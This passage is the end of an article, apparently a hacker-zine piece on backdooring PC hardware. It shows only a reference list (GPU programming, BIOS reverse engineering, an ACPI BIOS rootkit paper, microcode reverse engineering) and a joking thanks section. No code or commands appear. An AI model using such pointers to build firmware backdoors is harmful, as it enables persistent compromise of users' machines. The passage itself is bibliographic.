(http://nehe.gamedev.net/) [5] : GPGPU (http://www.gpgpu.org) [6] : HLSL tutorial (http://msdn2.microsoft.com/en-us/library/bb173494.aspx) [7] : GLSL tutorial (http://nehe.gamedev.net/data/articles/article.asp?article=21) [8] : The NVIDIA Cg Toolkit (http://developer.nvidia.com/object/cg_toolkit.html) [9] : NVIDIA Cg tutorial (http://developer.nvidia.com/object/cg_tutorial_home.html) [10] : nVIDIA CUDA (Compute Unified Device Architecture) (http://developer.nvidia.com/object/cuda.html) [11] : Implementing and Detecting an ACPI BIOS RootKit - John Heasman (http://www.ngssoftware.com/jh_bhf2006.pdf) [12] : /dev/bios - Stefan Reinauer (http://www.openbios.info/development/devbios.html) [13] : OpenBIOS initiative (http://www.openbios.info/) [14] : Award BIOS reverse engineering guide - Pinczakko (http://www.geocities.com/mamanzip/Articles/Award_Bios_RE) [15] : Wim's BIOS (http://www.wimsbios.com/) [16] : Bochs IA-32 Emulator Project (http://bochs.sourceforge.net/) [17] : Bochs BIOS source code (http://bochs.sourceforge.net/cgi-bin/lxr/source/bios/rombios.c) [18] : Opteron Exposed: Reverse Engineering AMD K8 Microcode Updates (http://www.packetstormsecurity.nl/0407-exploits/OpteronMicrocode.txt) 7. Thanks Without these people, this file wouldn't be, so thanks to them : * Auquen, for introducing me the idea of playing with hardware five years ago * Kad and Mayhem, for convincing me to write this article * Sauron, for always motivating me (nothing sexual) * Glenux, for pointing out CUDA * All people present to scythale's aperos, for helping me to get high in such ways I can come up with evil thinking (yeah, I was drunk when I decided to backdoor my hardware) -- scythale@gmail.com